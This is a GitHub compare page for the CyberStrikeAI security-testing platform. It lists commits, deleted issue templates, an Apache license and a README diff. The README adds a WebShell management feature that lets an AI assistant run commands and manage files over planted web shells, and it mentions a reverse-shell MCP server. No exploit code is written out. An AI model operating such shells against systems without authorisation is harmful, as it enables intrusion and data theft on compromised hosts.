Compare commits

..

111 Commits

Author SHA1 Message Date
公明 3cea834036 Update config.yaml 2026-03-25 03:29:53 +08:00
公明 e1b594f875 Add files via upload 2026-03-25 03:26:13 +08:00
公明 4b105e0bb7 Add files via upload 2026-03-25 03:24:33 +08:00
公明 93f0a46d6e Add files via upload 2026-03-25 03:08:10 +08:00
公明 314cd005c8 Add files via upload 2026-03-25 03:06:37 +08:00
公明 c68b72ead2 Add files via upload 2026-03-25 03:05:13 +08:00
公明 60846b2152 Add files via upload 2026-03-25 02:17:01 +08:00
公明 f6525674d2 Add files via upload 2026-03-25 02:15:37 +08:00
公明 9c04b0db40 Add files via upload 2026-03-25 01:22:27 +08:00
公明 907b87494d Add files via upload 2026-03-25 01:00:29 +08:00
公明 97b7b4b932 Add files via upload 2026-03-24 23:54:38 +08:00
公明 6890433235 Update config.yaml 2026-03-24 10:29:06 +08:00
公明 1face3559d Add files via upload 2026-03-24 00:22:00 +08:00
公明 0076aaed47 Add files via upload 2026-03-23 23:39:32 +08:00
公明 a45b3bc8f6 Delete agents/code-reviewer.md 2026-03-23 22:52:13 +08:00
公明 c04921301b Add files via upload 2026-03-23 22:51:35 +08:00
公明 0329a0bed2 Add files via upload 2026-03-23 22:35:15 +08:00
公明 3517cf850c Add files via upload 2026-03-23 22:17:12 +08:00
公明 c25d7bb495 Add files via upload 2026-03-23 22:14:41 +08:00
公明 50cfc47d79 Add files via upload 2026-03-23 22:01:38 +08:00
公明 fdc36a041e Add files via upload 2026-03-23 21:56:05 +08:00
公明 c59fcbf5f2 Add files via upload 2026-03-23 21:53:15 +08:00
公明 5978fadc1d Add files via upload 2026-03-23 17:34:53 +08:00
公明 999f91e858 Update lightx.yaml 2026-03-23 16:35:25 +08:00
公明 dc1f9ec516 Merge pull request #85 from huajinping/main
Add files via upload
2026-03-23 16:33:27 +08:00
huajinping 3fb235cc96 Add files via upload
Add YAML file for lightweight network security scanning and vulnerability detection tools
2026-03-23 15:29:49 +08:00
公明 88877e972c Update config.yaml 2026-03-23 03:04:03 +08:00
公明 6c47996ea8 Add files via upload 2026-03-23 02:37:45 +08:00
公明 0f90e19455 Add files via upload 2026-03-23 02:24:51 +08:00
公明 85d4c6deda Update config.yaml 2026-03-23 02:21:05 +08:00
公明 a31c4996c7 Add files via upload 2026-03-23 02:15:46 +08:00
公明 ea5a81e14e Add files via upload 2026-03-23 02:12:45 +08:00
公明 87a2eb9e97 Add files via upload 2026-03-21 22:38:48 +08:00
公明 2545774187 Add files via upload 2026-03-21 21:49:19 +08:00
公明 4bc62773a9 Add files via upload 2026-03-21 20:41:04 +08:00
公明 38285ba888 Add files via upload 2026-03-21 20:30:19 +08:00
公明 251b5fd440 Add files via upload 2026-03-21 20:20:58 +08:00
公明 922136f545 Add files via upload 2026-03-20 15:54:32 +08:00
公明 735cd5edc4 Add files via upload 2026-03-20 13:33:42 +08:00
公明 6a32dcc08e Update index.html 2026-03-20 10:26:15 +08:00
公明 b8b7aa0ffe Update config.yaml 2026-03-20 02:05:21 +08:00
公明 5224c68bc7 Add files via upload 2026-03-20 02:02:39 +08:00
公明 b504f405a8 Add files via upload 2026-03-20 02:01:11 +08:00
公明 3dc6dbcfe0 Add files via upload 2026-03-20 01:57:43 +08:00
公明 2ab8d4c731 Update config.yaml 2026-03-20 01:43:12 +08:00
公明 5884902090 Add files via upload 2026-03-20 01:42:07 +08:00
公明 c92ce0379e Add files via upload 2026-03-20 01:30:09 +08:00
公明 5fe5f5b71f Add files via upload 2026-03-20 01:03:40 +08:00
公明 36099a60d9 Update style.css 2026-03-19 11:15:11 +08:00
公明 c6adcd19dd Update pent_claude_agent_config.yaml 2026-03-17 23:49:22 +08:00
公明 52e84b0ef5 Delete mcp-servers/pent_claude_agent/.claude/1 2026-03-17 23:48:45 +08:00
公明 1d505b7b10 Add files via upload 2026-03-17 23:48:19 +08:00
公明 c9f7e8f53f Create 1 2026-03-17 23:48:00 +08:00
公明 3b7d5357b8 Update pent_claude_agent_config.yaml 2026-03-17 23:14:49 +08:00
公明 ca01cad2c8 Add files via upload 2026-03-17 23:13:11 +08:00
公明 0e83c20e47 Update config.yaml 2026-03-17 20:25:27 +08:00
公明 359ac45ecf Add files via upload 2026-03-17 20:23:17 +08:00
公明 df14545582 Add files via upload 2026-03-17 20:17:27 +08:00
公明 147e5e4529 Add files via upload 2026-03-17 01:16:08 +08:00
公明 c47b8ff33a Add files via upload 2026-03-17 00:14:13 +08:00
公明 cd5190362f Add files via upload 2026-03-16 23:48:12 +08:00
公明 797b10b176 Add files via upload 2026-03-14 02:32:23 +08:00
公明 0809be60fa Update config.yaml 2026-03-14 02:16:45 +08:00
公明 62a83f6271 Add files via upload 2026-03-14 01:37:26 +08:00
公明 b4da3e5d33 Add files via upload 2026-03-14 00:55:07 +08:00
公明 4b1023ff6c Add files via upload 2026-03-14 00:52:29 +08:00
公明 82ca5225ae Add files via upload 2026-03-14 00:50:10 +08:00
公明 5e8fef0ad4 Add files via upload 2026-03-14 00:49:25 +08:00
公明 226f9b79e2 Add files via upload 2026-03-13 23:17:13 +08:00
公明 7222466cff Add files via upload 2026-03-13 22:57:30 +08:00
公明 1630c2b2c4 Add files via upload 2026-03-13 22:34:42 +08:00
公明 f7ffa1d5d3 Add files via upload 2026-03-13 20:24:15 +08:00
公明 e4cd68df41 Update config.yaml 2026-03-13 20:22:52 +08:00
公明 d24f797552 Add files via upload 2026-03-13 20:20:14 +08:00
公明 0a89ac31c3 Add files via upload 2026-03-13 20:10:28 +08:00
公明 379fc8767d Add files via upload 2026-03-13 20:09:15 +08:00
公明 8bdab678fa Add files via upload 2026-03-13 20:08:09 +08:00
公明 cc555af8dd Add files via upload 2026-03-13 00:20:27 +08:00
公明 643e0e7adf Add files via upload 2026-03-13 00:11:48 +08:00
公明 eb27eaff7d Update nmap.yaml 2026-03-12 22:54:31 +08:00
公明 fc542a48f3 Add files via upload 2026-03-12 21:26:23 +08:00
公明 dd7d15845c Update config.yaml 2026-03-12 21:17:57 +08:00
公明 ee9559e074 Add files via upload 2026-03-12 21:17:22 +08:00
公明 872e570518 Add files via upload 2026-03-12 20:54:09 +08:00
公明 a5ffafba77 Delete .github directory 2026-03-12 17:33:37 +08:00
公明 3da7f77e1c Update zh-CN.json 2026-03-12 15:40:49 +08:00
公明 26ad9646be Update en-US.json 2026-03-12 15:40:00 +08:00
公明 959a97870b Update en-US.json 2026-03-12 13:51:42 +08:00
公明 c8bbfcd171 Update zh-CN.json 2026-03-12 13:51:08 +08:00
公明 5f2862b629 Delete tools/nmap-advanced.yaml 2026-03-11 21:13:12 +08:00
公明 ee6c4b6f19 Add files via upload 2026-03-11 21:12:36 +08:00
公明 55b8decbaa Add files via upload 2026-03-11 21:01:45 +08:00
公明 1222adc485 Add files via upload 2026-03-11 20:02:21 +08:00
公明 38972bf93b Add files via upload 2026-03-11 19:47:43 +08:00
公明 127a5dd5c3 Update config.yaml 2026-03-10 09:12:58 +08:00
公明 f5f73d41c0 Add files via upload 2026-03-10 09:12:16 +08:00
公明 9811209002 Add files via upload 2026-03-10 00:28:33 +08:00
公明 f44bb42842 Update version number to v1.3.22 2026-03-10 00:25:35 +08:00
公明 d2e751e3d3 Add files via upload 2026-03-10 00:23:19 +08:00
公明 a5c285c8f3 Update version number to v1.3.21 2026-03-10 00:06:37 +08:00
公明 98938aef00 Remove user message check for Qwen model
Removed the logic to ensure at least one user message is included in recent messages to avoid Qwen model error.
2026-03-10 00:04:19 +08:00
公明 71f6a97a90 Add files via upload 2026-03-09 23:00:24 +08:00
公明 2fce15f82a Enhance MCP config with authentication headers
Added authentication headers for MCP server configuration.
2026-03-09 22:40:06 +08:00
公明 52b70d8b16 Add files via upload 2026-03-09 22:38:24 +08:00
公明 5b3709b9ad Add files via upload 2026-03-09 22:37:37 +08:00
公明 639f65602d Add files via upload 2026-03-09 22:36:22 +08:00
公明 52b6c3fe1b Add files via upload 2026-03-09 22:35:39 +08:00
公明 f26ee8e6e7 Add files via upload 2026-03-09 22:19:22 +08:00
公明 379486d36c Add files via upload 2026-03-09 21:35:49 +08:00
公明 317461e259 Add files via upload 2026-03-09 21:30:32 +08:00
公明 b7e724407b Add files via upload 2026-03-09 20:40:36 +08:00
93 changed files with 20919 additions and 1424 deletions
-78
View File
@@ -1,78 +0,0 @@
---
name: 🐛 Bug / 异常问题反馈
about: 报告一个 Bug 或异常问题
title: '[BUG] '
labels: ['bug', '待确认']
assignees: ''
---
## 📋 问题描述
<!-- 请清晰、简洁地描述遇到的问题 -->
## 🔄 复现步骤
<!-- 请详细描述如何复现这个问题 -->
1.
2.
3.
4.
## ✅ 期望行为
<!-- 描述你期望的正确行为是什么 -->
## ❌ 实际行为
<!-- 描述实际发生了什么 -->
## 📸 截图/录屏
<!--
⚠️ 重要:请提供完整的截图或录屏,确保包含:
- 完整的错误信息
- 相关的界面元素
- 浏览器控制台错误(如有)
- 终端输出(如有)
如果截图不完整,issue 可能会被关闭。
-->
<!-- 请在此处拖拽或粘贴截图 -->
## 📝 报错日志(脱敏后)
<!--
⚠️ 重要:请提供完整的、脱敏后的报错日志。
脱敏要求:
- 移除所有敏感信息(API Key、密码、Token、真实IP地址、域名等)
- 使用占位符替换,如:`sk-xxx``password: ***``192.168.x.x``example.com`
- 保留完整的错误堆栈信息
- 保留时间戳和日志级别
请从以下位置收集日志:
1. MCP状态监控 页面
2. 服务器终端输出
3. 日志文件(如果配置了文件输出)
4. 浏览器控制台(F12 → Console
-->
```
请在此处粘贴脱敏后的完整报错日志
```
## ✅ 检查清单
<!-- 提交前请确认以下项目 -->
- [ ] 我已阅读并理解项目的 Issue 规范
- [ ] 我已提供完整的、脱敏后的报错日志
- [ ] 我已提供完整的截图(如适用)
- [ ] 我已提供详细的复现步骤
- [ ] 我已填写所有必要的环境信息
- [ ] 我已脱敏所有敏感信息(API Key、密码、IP 等)
- [ ] 我已确认这不是重复的 issue
---
**注意**:如果缺少必要的日志或截图,此 issue 可能会被标记为 `需要更多信息` 或直接关闭。请确保提供完整的信息以便我们能够快速定位和解决问题。
-68
View File
@@ -1,68 +0,0 @@
---
name: ✨ 功能优化建议
about: 提出新功能或优化建议
title: '[FEATURE] '
labels: ['enhancement', '待讨论']
assignees: ''
---
## 💡 功能描述
<!-- 请清晰、简洁地描述你希望添加或优化的功能 -->
## 🎯 使用场景
<!-- 描述这个功能的使用场景,解决什么问题 -->
<!-- 例如:在什么情况下会用到这个功能?它如何改善用户体验? -->
## 🔄 当前行为
<!-- 描述当前系统是如何处理相关需求的,或者为什么需要这个功能 -->
## ✨ 期望行为
<!-- 详细描述你期望的新功能或优化后的行为 -->
## 📸 参考示例(如有)
<!--
如果有其他项目的类似功能实现,可以在此提供截图或链接作为参考
⚠️ 请确保截图完整,包含所有相关界面元素
-->
<!-- 请在此处拖拽或粘贴参考截图 -->
## 🛠️ 实现建议(可选)
<!-- 如果你有具体的实现思路或技术建议,可以在此描述 -->
## 📊 优先级评估
<!-- 请选择你认为的优先级 -->
- [ ] 🔴 高优先级(严重影响使用体验或功能缺失)
- [ ] 🟡 中优先级(能显著改善体验)
- [ ] 🟢 低优先级(锦上添花的功能)
## 🔍 相关功能
<!-- 这个功能是否与现有功能相关? -->
<!-- 例如:是否与工具管理、攻击链分析、知识库等功能相关? -->
## 📝 额外信息
<!-- 任何其他有助于理解需求的信息 -->
- 是否已有替代方案?
- 这个功能是否会影响现有功能?
- 是否有相关的其他 issue 或讨论?
## ✅ 检查清单
<!-- 提交前请确认以下项目 -->
- [ ] 我已清晰描述了功能需求和使用场景
- [ ] 我已提供完整的参考截图(如有)
- [ ] 我已评估了功能的优先级
- [ ] 我已确认这不是重复的 issue
- [ ] 我已考虑了对现有功能的影响
---
**注意**:请提供尽可能详细的信息,包括使用场景、参考示例等,这将有助于我们更好地理解和实现你的需求。
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2025 Ed1s0nZ
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+101 -16
View File
@@ -7,6 +7,8 @@
[中文](README_CN.md) | [English](README.md)
**Community**: [Join us on Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
@@ -65,6 +67,14 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
<img src="./images/role-management.png" alt="Role Management" width="100%">
</td>
</tr>
<tr>
<td width="33.33%" align="center">
<strong>WebShell Management</strong><br/>
<img src="./images/webshell-management.png" alt="WebShell Management" width="100%">
</td>
<td width="33.33%" align="center"></td>
<td width="33.33%" align="center"></td>
</tr>
</table>
</div>
@@ -82,8 +92,10 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
- 🧩 **Multi-agent mode (Eino DeepAgent)**: optional orchestration where a coordinator delegates work to Markdown-defined sub-agents via the `task` tool; main agent in `agents/orchestrator.md` (or `kind: orchestrator`), sub-agents under `agents/*.md`; chat mode switch when `multi_agent.enabled` is true (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
- 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
## Tool Overview
@@ -161,14 +173,37 @@ go build -o cyberstrike-ai cmd/server/main.go
**Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
### Version Update (No Breaking Changes)
**CyberStrikeAI one-click upgrade (recommended):**
1. (First time) enable the script: `chmod +x upgrade.sh`
2. Upgrade with: `./upgrade.sh` (optional flags: `--tag vX.Y.Z`, `--no-venv`, `--preserve-custom`, `--yes`)
3. The script will back up your `config.yaml` and `data/`, upgrade the code from GitHub Release, update `config.yaml`'s `version`, then restart the server.
Recommended one-liner:
`chmod +x upgrade.sh && ./upgrade.sh --yes`
If something goes wrong, you can restore from `.upgrade-backup/` (or manually copy `/data` and `config.yaml` back) and run `./run.sh` again.
Requirements / tips:
* You need `curl` or `wget` for downloading Release packages.
* `rsync` is recommended/required for the safe code sync.
* If GitHub API rate-limits you, set `export GITHUB_TOKEN="..."` before running `./upgrade.sh`.
⚠️ **Note:** This procedure only applies to version updates without compatibility or breaking changes. If a release includes compatibility changes, this method may not apply.
**Examples:** No breaking changes — e.g. v1.3.1 → v1.3.2; with breaking changes — e.g. v1.3.1 → v1.4.0. The project follows [Semantic Versioning](https://semver.org/) (SemVer): when only the patch version (third number) changes, this upgrade path is usually safe; when the minor or major version changes, config, data, or APIs may have changed — check the release notes before using this method.
### Core Workflows
- **Conversation testing** Natural-language prompts trigger toolchains with streaming SSE output.
- **Single vs multi-agent** With `multi_agent.enabled: true`, the chat UI can switch between **single** (classic ReAct loop) and **multi** (Eino DeepAgent + `task` sub-agents). Multi mode uses `/api/multi-agent/stream`; tools are bridged from the same MCP stack as single-agent.
- **Role-based testing** Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
- **Tool monitor** Inspect running jobs, execution logs, and large-result attachments.
- **History & audit** Every conversation and tool invocation is stored in SQLite with replay.
- **Conversation groups** Organize conversations into groups, pin important groups, rename or delete groups via context menu.
- **Vulnerability management** Create, update, and track vulnerabilities discovered during testing. Filter by severity (critical/high/medium/low/info), status (open/confirmed/fixed/false_positive), and conversation. View statistics and export findings.
- **Batch task management** Create task queues with multiple tasks, add or edit tasks before execution, and run them sequentially. Each task executes as a separate conversation, with status tracking (pending/running/completed/failed/cancelled) and full execution history.
- **WebShell management** Add and manage WebShell connections (PHP/ASP/ASPX/JSP or custom). Use the virtual terminal to run commands, the file manager to list, read, edit, upload, and delete files, and the AI assistant tab to drive scripted tests with per-connection conversation history. Connections are stored in SQLite; supports GET/POST and configurable command parameter (e.g. IceSword/AntSword style).
- **Settings** Tweak provider keys, MCP enablement, tool toggles, and agent iteration limits.
### Built-in Safeguards
@@ -205,6 +240,15 @@ go build -o cyberstrike-ai cmd/server/main.go
```
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
### Multi-Agent Mode (Eino DeepAgent)
- **What it is** An optional second execution path based on CloudWeGo **Eino** `adk/prebuilt/deep`: a **coordinator** (main agent) calls a **`task`** tool to run ephemeral **sub-agents**, each with its own model loop and tool set derived from the current role.
- **Markdown agents** Under `agents_dir` (default `agents/`, relative to `config.yaml`), define:
- **Orchestrator**: file name `orchestrator.md` *or* any `.md` with front matter `kind: orchestrator` (only **one** per directory). Sets Deep agent name/id, description, and optional full system prompt (body); if the body is empty, `multi_agent.orchestrator_instruction` and then Eino defaults apply.
- **Sub-agents**: other `*.md` files (YAML front matter + body as instruction). They are **not** used as `task` targets if classified as orchestrator.
- **Management** Web UI: **Agents → Agent management** for CRUD on Markdown agents; API prefix `/api/multi-agent/markdown-agents`.
- **Config** `multi_agent` block in `config.yaml`: `enabled`, `default_mode` (`single` | `multi`), `robot_use_multi_agent`, `batch_use_multi_agent`, `max_iteration`, `orchestrator_instruction`, optional YAML `sub_agents` merged with disk (same `id` → Markdown wins).
- **Details** Streaming events, robots, batch queue, and troubleshooting: **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)**.
### Skills System
- **Predefined skills** System includes 20+ predefined security testing skills (SQL injection, XSS, API security, cloud security, container security, etc.) in the `skills/` directory.
- **Skill hints in prompts** When a role is selected, skill names attached to that role are added to the system prompt as recommendations. Skill content is not automatically injected; AI agents must use the `read_skill` tool to access skill details when needed.
@@ -235,10 +279,19 @@ go build -o cyberstrike-ai cmd/server/main.go
- The web UI renders the chain as an interactive graph with severity scoring and step replay.
- Export the chain or raw findings to external reporting pipelines.
### WebShell Management
- **Connections** From the Web UI, go to **WebShell Management** to add, edit, or delete WebShell connections. Each connection stores: Shell URL, password/key, shell type (PHP, ASP, ASPX, JSP, Custom), request method (GET/POST), command parameter name (default `cmd`), and an optional remark; all records persist in SQLite and are compatible with common clients such as IceSword and AntSword.
- **Virtual terminal** After selecting a connection, use the **Virtual terminal** tab to run arbitrary commands with history and quick commands (whoami/id/ls/pwd etc.). Output is streamed in the browser, and Ctrl+L clears the screen.
- **File manager** Use the **File manager** tab to list directories, read or edit files, delete files, create folders/files, upload files (including chunked uploads for large files), rename paths, and download selected files. Path navigation supports breadcrumbs, parent directory jumps, and name filtering.
- **AI assistant** Use the **AI assistant** tab to chat with an agent that understands the current WebShell connection, automatically runs tools and shell commands, and maintains per-connection conversation history with a sidebar of previous sessions.
- **Connectivity test** Use **Test connectivity** to verify that the shell URL, password, and command parameter are correct before running commands (sends a lightweight `echo 1` check).
- **Persistence** All WebShell connections and AI conversations are stored in SQLite (same database as conversations), so they persist across restarts.
### MCP Everywhere
- **Web mode** ships with HTTP MCP server automatically consumed by the UI.
- **MCP stdio mode** `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
- **External MCP federation** register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time.
- **Optional MCP servers** the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients.
#### MCP stdio quick start
1. **Build the binary** (run from the project root):
@@ -262,21 +315,33 @@ go build -o cyberstrike-ai cmd/server/main.go
```
Replace the paths with your local locations; Cursor will launch the stdio server automatically.
#### MCP HTTP quick start
1. Ensure `config.yaml` has `mcp.enabled: true` and adjust `mcp.host` / `mcp.port` if you need a non-default binding (localhost:8081 works well for local Cursor usage).
2. Start the main service (`./run.sh` or `go run cmd/server/main.go`); the MCP endpoint lives at `http://<host>:<port>/mcp`.
3. In Cursor, choose **Add Custom MCP → HTTP** and set `Base URL` to `http://127.0.0.1:8081/mcp`.
4. Prefer committing the setup via `.cursor/mcp.json` so teammates can reuse it:
```json
{
"mcpServers": {
"cyberstrike-ai-http": {
"transport": "http",
"url": "http://127.0.0.1:8081/mcp"
}
}
}
```
#### MCP HTTP quick start (Cursor / Claude Code)
The HTTP MCP server runs on a separate port (default `8081`) and supports **header-based authentication** so only clients that send the correct header can call tools.
1. **Enable MCP in config** In `config.yaml` set `mcp.enabled: true` and optionally `mcp.host` / `mcp.port`. For auth (recommended if the port is reachable from the network), set:
- `mcp.auth_header` header name (e.g. `X-MCP-Token`);
- `mcp.auth_header_value` secret value. **Leave it empty** if you want the server to **auto-generate** a random token on first start and write it back to the config.
2. **Start the service** Run `./run.sh` or `go run cmd/server/main.go`. The MCP endpoint is `http://<host>:<port>/mcp` (e.g. `http://localhost:8081/mcp`).
3. **Copy the JSON from the terminal** When MCP is enabled, the server prints a **ready-to-paste** JSON block. If `auth_header_value` was empty, it will have been generated and saved; the printed JSON includes the URL and headers.
4. **Use in Cursor or Claude Code**:
- **Cursor**: Paste the block into `~/.cursor/mcp.json` (or your projects `.cursor/mcp.json`) under `mcpServers`, or merge it into your existing `mcpServers`.
- **Claude Code**: Paste into `.mcp.json` or `~/.claude.json` under `mcpServers`.
Example of what the terminal prints (with auth enabled):
```json
{
"mcpServers": {
"cyberstrike-ai": {
"url": "http://localhost:8081/mcp",
"headers": {
"X-MCP-Token": "<auto-generated-or-your-value>"
},
"type": "http"
}
}
}
```
If you do not set `auth_header` / `auth_header_value`, the endpoint accepts requests without authentication (suitable only for localhost or trusted networks).
#### External MCP federation (HTTP/stdio/SSE)
CyberStrikeAI supports connecting to external MCP servers via three transport modes:
@@ -374,9 +439,11 @@ A test SSE MCP server is available at `cmd/test-sse-mcp-server/` for validation
### Automation Hooks
- **REST APIs** everything the UI uses (auth, conversations, tool runs, monitor, vulnerabilities, roles) is available over JSON.
- **Multi-agent APIs** `POST /api/multi-agent/stream` (SSE, when enabled), `POST /api/multi-agent` (non-streaming), Markdown agents under `/api/multi-agent/markdown-agents` (list/get/create/update/delete).
- **Role APIs** manage security testing roles via `/api/roles` endpoints: `GET /api/roles` (list all roles), `GET /api/roles/:name` (get role), `POST /api/roles` (create role), `PUT /api/roles/:name` (update role), `DELETE /api/roles/:name` (delete role). Roles are stored as YAML files in the `roles/` directory and support hot-reload.
